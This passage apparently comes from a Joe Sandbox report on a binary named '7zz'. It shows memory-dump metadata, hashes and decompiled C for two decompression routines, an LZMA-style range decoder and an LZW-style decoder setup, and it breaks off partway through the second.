0x00461155
0x00461157
0x0046115f
0x0046116d
0x0046116d
0x00461177
0x00000000
0x00000000
0x00000000
0x00000000
0x00461161
0x00461161
0x00461161
0x00461164
0x00000000
0x00461161

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8fa4cdc9228aaa3a07012a4c32e0885d6804b09010c7afb976018d4f09c0f3
Instruction ID: 7147a41103b82fee1bf31e8f6f8380e5711e53636797ff3198694e8fe18354a8
Opcode Fuzzy Hash: 1f8fa4cdc9228aaa3a07012a4c32e0885d6804b09010c7afb976018d4f09c0f3
Instruction Fuzzy Hash: D332C1716082458FCB19CF18D4906AEB7E2FFD9308F148A2DE88A97310E739E955CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0045E0C0 Relevance: .5, Instructions: 481
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0045E0C0(void* __eax, signed int* __ecx) {
				intOrPtr _t149;
				unsigned int _t153;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				signed int _t160;
				signed int _t161;
				signed char* _t162;
				signed int _t164;
				intOrPtr _t167;
				signed int _t168;
				signed char* _t169;
				signed int _t171;
				signed char* _t179;
				signed int _t190;
				signed int _t192;
				signed int _t196;
				signed char* _t197;
				signed char* _t199;
				signed int _t204;
				signed short* _t205;
				void* _t206;
				signed int _t207;
				signed int _t215;
				signed int _t216;
				signed char* _t225;
				signed int _t228;
				signed int _t232;
				signed int _t235;
				signed int _t238;
				signed int _t241;
				signed int _t244;
				signed int _t247;
				signed char _t251;
				void* _t252;
				signed int _t265;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int _t278;
				signed char* _t279;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t289;
				signed int _t290;
				unsigned int _t291;
				signed int* _t292;
				intOrPtr _t293;
				signed char* _t294;
				signed short* _t296;
				signed int _t297;
				signed int _t298;
				signed int _t300;
				signed int _t301;
				signed int _t310;
				signed int _t314;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				signed int _t324;
				signed int _t325;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed char* _t344;
				void* _t351;

				_t292 = __ecx;
				_t340 =  *(__ecx + 0x34);
				_t283 =  *(__ecx + 0x1c);
				_t321 =  *(__ecx + 0x20);
				_t149 =  *((intOrPtr*)(__ecx + 0x10));
				 *(_t351 + 0x10) =  &(( *(_t351 + 0x28))[__eax]);
				 *((intOrPtr*)(_t351 + 0x14)) = _t149;
				_t204 = (0x00000001 <<  *(__ecx + 8)) - 0x00000001 &  *(__ecx + 0x2c);
				 *(_t351 + 0x18) =  *(_t149 + ((_t340 << 4) + 1) * 2) & 0x0000ffff;
				if(_t283 >= 0x1000000) {
					L4:
					_t153 = (_t283 >> 0xb) *  *(_t351 + 0x18);
					if(_t321 >= _t153) {
						_t293 =  *((intOrPtr*)(_t351 + 0x14));
						_t225 =  *(_t351 + 0x28);
						_t284 = _t283 - _t153;
						_t322 = _t321 - _t153;
						 *(_t351 + 0x18) =  *(_t293 + 0x180 + _t340 * 2) & 0x0000ffff;
						if(_t284 >= 0x1000000) {
							L39:
							_t157 = (_t284 >> 0xb) *  *(_t351 + 0x18);
							if(_t322 >= _t157) {
								_t285 = _t284 - _t157;
								_t323 = _t322 - _t157;
								_t158 =  *(_t293 + 0x198 + _t340 * 2) & 0x0000ffff;
								 *(_t351 + 0x1c) = 3;
								if(_t285 >= 0x1000000) {
									L44:
									_t228 = (_t285 >> 0xb) * _t158;
									_t159 =  *((intOrPtr*)(_t351 + 0x14));
									if(_t323 >= _t228) {
										_t294 =  *(_t351 + 0x28);
										_t286 = _t285 - _t228;
										_t324 = _t323 - _t228;
										 *(_t351 + 0x18) =  *(_t159 + 0x1b0 + _t340 * 2) & 0x0000ffff;
										if(_t286 >= 0x1000000) {
											L55:
											_t232 = (_t286 >> 0xb) *  *(_t351 + 0x18);
											if(_t324 >= _t232) {
												_t160 =  *(_t159 + 0x1c8 + _t340 * 2) & 0x0000ffff;
												_t287 = _t286 - _t232;
												_t323 = _t324 - _t232;
												if(_t287 >= 0x1000000) {
													L60:
													_t235 = (_t287 >> 0xb) * _t160;
													if(_t323 >= _t235) {
														goto L62;
													} else {
														_t288 = _t235;
													}
													goto L63;
												} else {
													if(_t294 >=  *(_t351 + 0x10)) {
														goto L2;
													} else {
														_t287 = _t287 << 8;
														_t323 = _t323 << 0x00000008 |  *_t294 & 0x000000ff;
														 *(_t351 + 0x28) =  &(_t294[1]);
														goto L60;
													}
												}
											} else {
												_t288 = _t232;
												goto L63;
											}
										} else {
											if(_t294 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t286 = _t286 << 8;
												_t324 = _t324 << 0x00000008 |  *_t294 & 0x000000ff;
												_t294 =  &(_t294[1]);
												 *(_t351 + 0x28) = _t294;
												goto L55;
											}
										}
									} else {
										_t314 =  *(_t159 + ((_t340 + 0xf << 4) + _t204) * 2) & 0x0000ffff;
										_t179 =  *(_t351 + 0x28);
										_t287 = _t228;
										if(_t228 >= 0x1000000) {
											L48:
											_t235 = (_t287 >> 0xb) * _t314;
											if(_t323 >= _t235) {
												L62:
												_t288 = _t287 - _t235;
												_t323 = _t323 - _t235;
												L63:
												_t225 =  *(_t351 + 0x28);
												 *(_t351 + 0x20) = 0xc;
												_t296 =  *((intOrPtr*)(_t351 + 0x14)) + 0xa68;
												goto L64;
											} else {
												if(_t235 >= 0x1000000 || _t179 <  *(_t351 + 0x10)) {
													return 3;
												} else {
													goto L2;
												}
											}
										} else {
											if(_t179 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t287 = _t228 << 8;
												_t323 = _t323 << 0x00000008 |  *_t179 & 0x000000ff;
												_t179 =  &(_t179[1]);
												 *(_t351 + 0x28) = _t179;
												goto L48;
											}
										}
									}
								} else {
									if(_t225 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t285 = _t285 << 8;
										_t323 = _t323 << 0x00000008 |  *_t225 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t225[1]);
										goto L44;
									}
								}
							} else {
								_t288 = _t157;
								 *(_t351 + 0x20) = 0;
								_t296 = _t293 + 0x664;
								 *(_t351 + 0x1c) = 2;
								L64:
								_t161 =  *_t296 & 0x0000ffff;
								if(_t288 >= 0x1000000) {
									L67:
									_t238 = (_t288 >> 0xb) * _t161;
									_t162 =  *(_t351 + 0x28);
									if(_t323 >= _t238) {
										_t341 = _t296[1] & 0x0000ffff;
										_t289 = _t288 - _t238;
										_t325 = _t323 - _t238;
										if(_t289 >= 0x1000000) {
											L72:
											_t241 = (_t289 >> 0xb) * _t341;
											if(_t325 >= _t241) {
												_t290 = _t289 - _t241;
												_t325 = _t325 - _t241;
												_t205 =  &(_t296[0x102]);
												_t342 = 0x10;
												 *(_t351 + 0x18) = 0x100;
											} else {
												_t342 = 8;
												_t290 = _t241;
												_t205 = _t296 + 0x104 + (_t204 + _t204) * 8;
												 *(_t351 + 0x18) = 8;
											}
											goto L75;
										} else {
											if(_t162 >=  *(_t351 + 0x10)) {
												goto L2;
											} else {
												_t289 = _t289 << 8;
												_t325 = _t325 << 0x00000008 |  *_t162 & 0x000000ff;
												_t162 =  &(_t162[1]);
												 *(_t351 + 0x28) = _t162;
												goto L72;
											}
										}
									} else {
										_t290 = _t238;
										_t205 = _t296 + 4 + (_t204 + _t204) * 8;
										_t342 = 0;
										 *(_t351 + 0x18) = 8;
										L75:
										_t297 = 1;
										L76:
										while(1) {
											if(_t290 >= 0x1000000) {
												L79:
												_t244 = (_t290 >> 0xb) * (_t205[_t297] & 0x0000ffff);
												if(_t325 >= _t244) {
													_t290 = _t290 - _t244;
													_t325 = _t325 - _t244;
													_t297 = _t297 + _t297 + 1;
												} else {
													_t290 = _t244;
													_t297 = _t297 + _t297;
												}
												_t164 =  *(_t351 + 0x18);
												if(_t297 >= _t164) {
													_t298 = _t297 + _t342 - _t164;
													if( *(_t351 + 0x20) >= 4) {
														goto L20;
													} else {
														if(_t298 >= 4) {
															_t298 = 3;
														}
														_t167 =  *((intOrPtr*)(_t351 + 0x14));
														_t344 =  *(_t351 + 0x28);
														_t128 = _t167 + 0x360; // 0x363
														_t206 = (_t298 << 7) + _t128;
														_t300 = 1;
														do {
															_t168 =  *(_t206 + _t300 * 2) & 0x0000ffff;
															if(_t290 >= 0x1000000) {
																goto L91;
															} else {
																if(_t344 >=  *(_t351 + 0x10)) {
																	goto L2;
																} else {
																	_t290 = _t290 << 8;
																	_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																	_t344 =  &(_t344[1]);
																	goto L91;
																}
															}
															goto L113;
															L91:
															_t247 = (_t290 >> 0xb) * _t168;
															if(_t325 >= _t247) {
																_t290 = _t290 - _t247;
																_t325 = _t325 - _t247;
																_t300 = _t300 + _t300 + 1;
															} else {
																_t290 = _t247;
																_t300 = _t300 + _t300;
															}
														} while (_t300 < 0x40);
														_t301 = _t300 - 0x40;
														if(_t301 < 4) {
															goto L21;
														} else {
															_t251 = (_t301 >> 1) - 1;
															if(_t301 >= 0xe) {
																_t169 =  *(_t351 + 0x10);
																_t252 = _t251 - 4;
																do {
																	if(_t290 >= 0x1000000) {
																		goto L102;
																	} else {
																		if(_t344 >= _t169) {
																			goto L2;
																		} else {
																			_t290 = _t290 << 8;
																			_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																			_t344 =  &(_t344[1]);
																			goto L102;
																		}
																	}
																	goto L113;
																	L102:
																	_t290 = _t290 >> 1;
																	_t325 = _t325 - ((_t325 - _t290 >> 0x0000001f) - 0x00000001 & _t290);
																	_t252 = _t252 - 1;
																} while (_t252 != 0);
																 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0x644;
																_t251 = 4;
																goto L104;
															} else {
																 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0x55e + (((_t301 & 0x00000001 | 0x00000002) << _t251) - _t301) * 2;
																L104:
																_t207 = 1;
																do {
																	_t171 =  *( *((intOrPtr*)(_t351 + 0x14)) + _t207 * 2) & 0x0000ffff;
																	if(_t290 >= 0x1000000) {
																		goto L108;
																	} else {
																		if(_t344 >=  *(_t351 + 0x10)) {
																			goto L2;
																		} else {
																			_t290 = _t290 << 8;
																			_t325 = _t325 << 0x00000008 |  *_t344 & 0x000000ff;
																			_t344 =  &(_t344[1]);
																			goto L108;
																		}
																	}
																	goto L113;
																	L108:
																	_t310 = (_t290 >> 0xb) * _t171;
																	if(_t325 >= _t310) {
																		_t290 = _t290 - _t310;
																		_t325 = _t325 - _t310;
																		_t207 = _t207 + _t207 + 1;
																	} else {
																		_t290 = _t310;
																		_t207 = _t207 + _t207;
																	}
																	_t251 = _t251 - 1;
																} while (_t251 != 0);
																goto L21;
															}
														}
													}
												} else {
													_t162 =  *(_t351 + 0x28);
													continue;
												}
											} else {
												if(_t162 >=  *(_t351 + 0x10)) {
													goto L2;
												} else {
													_t290 = _t290 << 8;
													_t325 = _t325 << 0x00000008 |  *_t162 & 0x000000ff;
													 *(_t351 + 0x28) =  &(_t162[1]);
													goto L79;
												}
											}
											goto L113;
										}
									}
								} else {
									if(_t225 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t288 = _t288 << 8;
										_t323 = _t323 << 0x00000008 |  *_t225 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t225[1]);
										goto L67;
									}
								}
							}
						} else {
							if(_t225 >=  *(_t351 + 0x10)) {
								goto L2;
							} else {
								_t284 = _t284 << 8;
								_t322 = _t322 << 0x00000008 |  *_t225 & 0x000000ff;
								_t225 =  &(_t225[1]);
								 *(_t351 + 0x28) = _t225;
								goto L39;
							}
						}
					} else {
						_t291 = _t153;
						 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + 0xe6c;
						if(_t292[0xc] != 0 || _t292[0xb] != 0) {
							_t265 = _t292[9];
							if(_t265 == 0) {
								_t265 = _t292[0xa];
							}
							 *((intOrPtr*)(_t351 + 0x14)) =  *((intOrPtr*)(_t351 + 0x14)) + ((( *(_t292[5] + _t265 - 1) & 0x000000ff) >> 8 -  *_t292) + (((0x00000001 << _t292[1]) - 0x00000001 & _t292[0xb]) <<  *_t292)) * 0x600;
						}
						if(_t340 >= 7) {
							_t270 = _t292[9];
							_t215 = _t292[0xe];
							if(_t270 >= _t215) {
								_t190 = 0;
							} else {
								_t190 = _t292[0xa];
							}
							_t271 =  *(_t292[5] - _t215 + _t270 + _t190) & 0x000000ff;
							_t216 = 0x100;
							_t319 = 1;
							while(1) {
								_t272 = _t271 + _t271;
								_t192 = _t216 & _t272;
								 *(_t351 + 0x20) = _t272;
								 *(_t351 + 0x18) =  *( *((intOrPtr*)(_t351 + 0x14)) + (_t192 + _t319 + _t216) * 2) & 0x0000ffff;
								if(_t291 >= 0x1000000) {
									goto L31;
								}
								_t279 =  *(_t351 + 0x28);
								if(_t279 >=  *(_t351 + 0x10)) {
									goto L2;
								} else {
									_t291 = _t291 << 8;
									_t321 = _t321 << 0x00000008 |  *_t279 & 0x000000ff;
									 *(_t351 + 0x28) =  &(_t279[1]);
									goto L31;
								}
								goto L113;
								L31:
								_t278 = (_t291 >> 0xb) *  *(_t351 + 0x18);
								if(_t321 >= _t278) {
									_t290 = _t291 - _t278;
									_t321 = _t321 - _t278;
									_t319 = _t319 + _t319 + 1;
								} else {
									_t290 = _t278;
									_t319 = _t319 + _t319;
									_t192 =  !_t192;
								}
								_t216 = _t216 & _t192;
								if(_t319 >= 0x100) {
									goto L19;
								} else {
									_t271 =  *(_t351 + 0x20);
									continue;
								}
								goto L113;
							}
						} else {
							_t281 = 1;
							do {
								_t320 =  *( *((intOrPtr*)(_t351 + 0x14)) + _t281 * 2) & 0x0000ffff;
								if(_t291 >= 0x1000000) {
									goto L15;
								} else {
									_t197 =  *(_t351 + 0x28);
									if(_t197 >=  *(_t351 + 0x10)) {
										goto L2;
									} else {
										_t291 = _t291 << 8;
										_t321 = _t321 << 0x00000008 |  *_t197 & 0x000000ff;
										 *(_t351 + 0x28) =  &(_t197[1]);
										goto L15;
									}
								}
								goto L113;
								L15:
								_t196 = (_t291 >> 0xb) * _t320;
								if(_t321 >= _t196) {
									_t291 = _t291 - _t196;
									_t321 = _t321 - _t196;
									_t281 = _t281 + _t281 + 1;
								} else {
									_t291 = _t196;
									_t281 = _t281 + _t281;
								}
							} while (_t281 < 0x100);
							L19:
							 *(_t351 + 0x1c) = 1;
							L20:
							_t344 =  *(_t351 + 0x28);
							L21:
							if(_t290 >= 0x1000000 || _t344 <  *(_t351 + 0x10)) {
								return  *(_t351 + 0x1c);
							} else {
								goto L2;
							}
						}
					}
				} else {
					_t199 =  *(_t351 + 0x28);
					if(_t199 <  *(_t351 + 0x10)) {
						_t283 = _t283 << 8;
						_t321 = _t321 << 0x00000008 |  *_t199 & 0x000000ff;
						 *(_t351 + 0x28) =  &(_t199[1]);
						goto L4;
					} else {
						L2:
						return 0;
					}
				}
				L113:
			}

0x0045e0c7
0x0045e0cd
0x0045e0d0
0x0045e0d3
0x0045e0d8
0x0045e0db
0x0045e0ee
0x0045e0f3
0x0045e0fc
0x0045e106
0x0045e12e
0x0045e133
0x0045e13a
0x0045e2c6
0x0045e2ca
0x0045e2ce
0x0045e2d0
0x0045e2da
0x0045e2e4
0x0045e300
0x0045e305
0x0045e30c
0x0045e32b
0x0045e32d
0x0045e32f
0x0045e337
0x0045e345
0x0045e361
0x0045e366
0x0045e369
0x0045e36f
0x0045e3d8
0x0045e3dc
0x0045e3de
0x0045e3e8
0x0045e3f2
0x0045e40e
0x0045e413
0x0045e41a
0x0045e420
0x0045e428
0x0045e42a
0x0045e432
0x0045e44e
0x0045e453
0x0045e458
0x00000000
0x0045e45a
0x0045e45a
0x0045e45a
0x00000000
0x0045e434
0x0045e438
0x00000000
0x0045e43e
0x0045e444
0x0045e447
0x0045e44a
0x00000000
0x0045e44a
0x0045e438
0x0045e41c
0x0045e41c
0x00000000
0x0045e41c
0x0045e3f4
0x0045e3f8
0x00000000
0x0045e3fe
0x0045e404
0x0045e407
0x0045e409
0x0045e40a
0x00000000
0x0045e40a
0x0045e3f8
0x0045e371
0x0045e379
0x0045e37d
0x0045e381
0x0045e389
0x0045e3a7
0x0045e3ac
0x0045e3b1
0x0045e45e
0x0045e45e
0x0045e460
0x0045e462
0x0045e466
0x0045e46a
0x0045e472
0x00000000
0x0045e3b7
0x0045e3bd
0x0045e3d5
0x00000000
0x00000000
0x00000000
0x0045e3bd
0x0045e38b
0x0045e38f
0x00000000
0x0045e395
0x0045e398
0x0045e3a0
0x0045e3a2
0x0045e3a3
0x00000000
0x0045e3a3
0x0045e38f
0x0045e389
0x0045e347
0x0045e34b
0x00000000
0x0045e351
0x0045e357
0x0045e35a
0x0045e35d
0x00000000
0x0045e35d
0x0045e34b
0x0045e30e
0x0045e30e
0x0045e310
0x0045e318
0x0045e31e
0x0045e478
0x0045e478
0x0045e481
0x0045e49d
0x0045e4a2
0x0045e4a5
0x0045e4ab
0x0045e4c1
0x0045e4c5
0x0045e4c7
0x0045e4cf
0x0045e4eb
0x0045e4f0
0x0045e4f5
0x0045e50d
0x0045e50f
0x0045e511
0x0045e517
0x0045e51c
0x0045e4f7
0x0045e4f9
0x0045e4fe
0x0045e500
0x0045e507
0x0045e507
0x00000000
0x0045e4d1
0x0045e4d5
0x00000000
0x0045e4db
0x0045e4e1
0x0045e4e4
0x0045e4e6
0x0045e4e7
0x00000000
0x0045e4e7
0x0045e4d5
0x0045e4ad
0x0045e4af
0x0045e4b1
0x0045e4b5
0x0045e4b7
0x0045e524
0x0045e524
0x00000000
0x0045e530
0x0045e536
0x0045e552
0x0045e55b
0x0045e560
0x0045e568
0x0045e56a
0x0045e56c
0x0045e562
0x0045e562
0x0045e564
0x0045e564
0x0045e570
0x0045e576
0x0045e580
0x0045e587
0x00000000
0x0045e58d
0x0045e590
0x0045e592
0x0045e592
0x0045e597
0x0045e59b
0x0045e5a2
0x0045e5a2
0x0045e5a9
0x0045e5b0
0x0045e5b0
0x0045e5ba
0x00000000
0x0045e5bc
0x0045e5c0
0x00000000
0x0045e5c6
0x0045e5cd
0x0045e5d0
0x0045e5d2
0x00000000
0x0045e5d2
0x0045e5c0
0x00000000
0x0045e5d3
0x0045e5d8
0x0045e5dd
0x0045e5e5
0x0045e5e7
0x0045e5e9
0x0045e5df
0x0045e5df
0x0045e5e1
0x0045e5e1
0x0045e5ed
0x0045e5f2
0x0045e5f8
0x00000000
0x0045e5fe
0x0045e602
0x0045e606
0x0045e625
0x0045e629
0x0045e630
0x0045e636
0x00000000
0x0045e638
0x0045e63a
0x00000000
0x0045e640
0x0045e647
0x0045e64a
0x0045e64c
0x00000000
0x0045e64c
0x0045e63a
0x00000000
0x0045e64d
0x0045e64d
0x0045e659
0x0045e65b
0x0045e65b
0x0045e668
0x0045e66c
0x00000000
0x0045e608
0x0045e61f
0x0045e671
0x0045e671
0x0045e680
0x0045e684
0x0045e68e
0x00000000
0x0045e690
0x0045e694
0x00000000
0x0045e69a
0x0045e6a1
0x0045e6a4
0x0045e6a6
0x00000000
0x0045e6a6
0x0045e694
0x00000000
0x0045e6a7
0x0045e6ac
0x0045e6b1
0x0045e6b9
0x0045e6bb
0x0045e6bd
0x0045e6b3
0x0045e6b3
0x0045e6b5
0x0045e6b5
0x0045e6c1
0x0045e6c1
0x00000000
0x0045e6c4
0x0045e606
0x0045e5f8
0x0045e578
0x0045e578
0x00000000
0x0045e578
0x0045e538
0x0045e53c
0x00000000
0x0045e542
0x0045e548
0x0045e54b
0x0045e54e
0x00000000
0x0045e54e
0x0045e53c
0x00000000
0x0045e536
0x0045e530
0x0045e483
0x0045e487
0x00000000
0x0045e48d
0x0045e493
0x0045e496
0x0045e499
0x00000000
0x0045e499
0x0045e487
0x0045e481
0x0045e2e6
0x0045e2ea
0x00000000
0x0045e2f0
0x0045e2f6
0x0045e2f9
0x0045e2fb
0x0045e2fc
0x00000000
0x0045e2fc
0x0045e2ea
0x0045e140
0x0045e140
0x0045e14f
0x0045e153
0x0045e15b
0x0045e160
0x0045e162
0x0045e162
0x0045e192
0x0045e192
0x0045e199
0x0045e22c
0x0045e22f
0x0045e234
0x0045e23b
0x0045e236
0x0045e236
0x0045e236
0x0045e244
0x0045e248
0x0045e24d
0x0045e252
0x0045e256
0x0045e25a
0x0045e25c
0x0045e26a
0x0045e274
0x00000000
0x00000000
0x0045e276
0x0045e27e
0x00000000
0x0045e284
0x0045e28a
0x0045e28d
0x0045e290
0x00000000
0x0045e290
0x00000000
0x0045e294
0x0045e299
0x0045e2a0
0x0045e2aa
0x0045e2ac
0x0045e2ae
0x0045e2a2
0x0045e2a2
0x0045e2a4
0x0045e2a6
0x0045e2a6
0x0045e2b2
0x0045e2ba
0x00000000
0x0045e2c0
0x0045e2c0
0x00000000
0x0045e2c0
0x00000000
0x0045e2ba
0x0045e19f
0x0045e19f
0x0045e1b0
0x0045e1b4
0x0045e1be
0x00000000
0x0045e1c0
0x0045e1c0
0x0045e1c8
0x00000000
0x0045e1ce
0x0045e1d4
0x0045e1d7
0x0045e1da
0x00000000
0x0045e1da
0x0045e1c8
0x00000000
0x0045e1de
0x0045e1e3
0x0045e1e8
0x0045e1f0
0x0045e1f2
0x0045e1f4
0x0045e1ea
0x0045e1ea
0x0045e1ec
0x0045e1ec
0x0045e1f8
0x0045e200
0x0045e200
0x0045e208
0x0045e208
0x0045e20c
0x0045e212
0x0045e229
0x00000000
0x00000000
0x00000000
0x0045e212
0x0045e199
0x0045e108
0x0045e108
0x0045e110
0x0045e124
0x0045e127
0x0045e12a
0x00000000
0x0045e115
0x0045e115
0x0045e11b
0x0045e11b
0x0045e110
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction ID: e022bf08bd3fa299583df900fa6ce6294aaf835f4f5ad4fca60e15bd747eae71
Opcode Fuzzy Hash: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction Fuzzy Hash: 39022972A042118BD71CCE19C580279BBE3FBC5346F110A3FEC9697686D6389A4DCB99

Uniqueness

Uniqueness Score: -1.00%

Function 00454B10 Relevance: .5, Instructions: 475
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00454B10(void* __ecx, void* __eflags) {
				void* __edi;
				int _t219;
				unsigned char _t223;
				int _t225;
				int _t227;
				int _t228;
				intOrPtr _t234;
				intOrPtr _t235;
				signed int* _t236;
				signed int _t242;
				int _t245;
				int _t247;
				int _t251;
				signed int _t254;
				intOrPtr _t257;
				signed int _t258;
				void* _t259;
				signed int _t260;
				int _t264;
				int _t267;
				int _t269;
				signed int _t272;
				int _t275;
				int _t277;
				int _t281;
				int _t283;
				int _t287;
				int _t289;
				int _t293;
				int _t295;
				int _t299;
				int _t301;
				signed char _t305;
				signed int _t307;
				signed char _t317;
				signed char _t332;
				int _t349;
				char _t355;
				signed int _t357;
				signed int _t358;
				int _t361;
				signed int _t366;
				int _t391;
				signed int _t406;
				signed int _t421;
				signed int _t431;
				int _t432;
				void* _t433;
				int _t434;
				signed int _t435;
				void* _t436;
				void* _t441;
				intOrPtr _t443;
				void* _t444;

				_push(0xffffffff);
				_push(E00479B9E);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t443;
				_t444 = _t443 - 0x94;
				_t441 = __ecx;
				E0040DF82(_t444 + 0x1c);
				_t421 = 0;
				 *(_t444 + 0xac) = 0;
				 *((intOrPtr*)(_t444 + 0x40)) = 0;
				 *((intOrPtr*)(_t444 + 0x44)) = 0;
				 *(_t444 + 0x54) = 0;
				 *((intOrPtr*)(_t444 + 0x60)) = 0;
				 *((char*)(_t444 + 0xb0)) = 1;
				if(E0040DF95(_t444 + 0x20, 0x100000) != 0) {
					E0040DFE4(_t444 + 0x1c,  *((intOrPtr*)(_t444 + 0xb4)));
					E0040DFF3(_t444 + 0x1c);
					_t219 = E0040EE76(_t444 + 0x44, 0x100000);
					__eflags = _t219;
					if(_t219 != 0) {
						E0040EEC1(_t444 + 0x40,  *((intOrPtr*)(_t444 + 0xb8)));
						E0040EED0(_t444 + 0x40);
						_t223 =  *((intOrPtr*)(__ecx + 0x18));
						_t317 = _t223 & 0x0000001f;
						_t305 = _t317;
						__eflags = _t305 - 9;
						 *(_t444 + 0x74) = _t305;
						if(_t305 < 9) {
							L81:
							 *(_t444 + 0xac) = 6;
							E0040EEB2(_t444 + 0x40);
							_t225 =  *(_t444 + 0x54);
							 *(_t444 + 0xac) = 0;
							__eflags = _t225 - _t421;
							if(_t225 != _t421) {
								 *((intOrPtr*)( *_t225 + 8))(_t225);
							}
							 *(_t444 + 0xac) = 7;
							E0040DFD3(_t444 + 0x1c);
							_t227 =  *(_t444 + 0x28);
							 *(_t444 + 0xac) = 0xffffffff;
							__eflags = _t227 - _t421;
							if(_t227 == _t421) {
								L85:
								_t228 = 1;
								goto L86;
							} else {
								L84:
								 *((intOrPtr*)( *_t227 + 8))(_t227);
								goto L85;
							}
						}
						__eflags = _t305 - 0x10;
						if(_t305 > 0x10) {
							goto L81;
						}
						_t431 = 1 << _t317;
						 *(_t444 + 0x13) = _t223 >> 7;
						__eflags = _t305 -  *((intOrPtr*)(__ecx + 0x1c));
						 *(_t444 + 0x70) = 1;
						if(_t305 !=  *((intOrPtr*)(__ecx + 0x1c))) {
							L17:
							E00454AB0(_t441);
							_t234 = E00458590(_t431 + _t431);
							__eflags = _t234 - _t421;
							 *((intOrPtr*)(_t441 + 0xc)) = _t234;
							if(_t234 != _t421) {
								_t235 = E00458590(_t431);
								__eflags = _t235 - _t421;
								 *((intOrPtr*)(_t441 + 0x10)) = _t235;
								if(_t235 != _t421) {
									_t236 = E00458590(_t431);
									__eflags = _t236 - _t421;
									 *(_t441 + 0x14) = _t236;
									if(_t236 != _t421) {
										 *(_t441 + 0x1c) = _t305;
										L34:
										 *(_t444 + 0x68) = _t421;
										__eflags =  *(_t444 + 0x13);
										 *( *((intOrPtr*)(_t441 + 0xc)) + 0x200) = _t421;
										_t391 = (0 |  *(_t444 + 0x13) != 0x00000000) + 0x100;
										__eflags = _t391;
										 *(_t444 + 0x6c) = _t421;
										_t307 = 9;
										 *(_t444 + 0x18) = _t391;
										 *(_t444 + 0x12) = 0;
										 *(_t444 + 0x14) = _t421;
										 *((char*)( *((intOrPtr*)(_t441 + 0x10)) + 0x100)) = 0;
										while(1) {
											__eflags =  *(_t444 + 0x14) - _t421;
											if( *(_t444 + 0x14) != _t421) {
												goto L50;
											}
											L36:
											_t259 =  *(_t444 + 0x1c);
											__eflags =  *((intOrPtr*)(_t444 + 0x20)) - _t259 - _t307;
											if( *((intOrPtr*)(_t444 + 0x20)) - _t259 < _t307) {
												_t435 = 0;
												__eflags = _t307;
												if(_t307 <= 0) {
													L45:
													_t435 = _t307;
													L46:
													_t406 = _t435 * 8;
													 *(_t444 + 0x14) = _t406;
													_t421 = 0;
													_t260 = E0040EEE8(_t444 + 0x40);
													 *(_t444 + 0x88) = _t260;
													__eflags =  *(_t444 + 0xc4);
													 *(_t444 + 0x8c) = _t406;
													if( *(_t444 + 0xc4) == 0) {
														goto L50;
													}
													_t349 = _t260 -  *(_t444 + 0x68);
													__eflags = _t349;
													asm("sbb esi, [esp+0x6c]");
													 *(_t444 + 0x7c) = _t406;
													if(_t349 != 0) {
														L49:
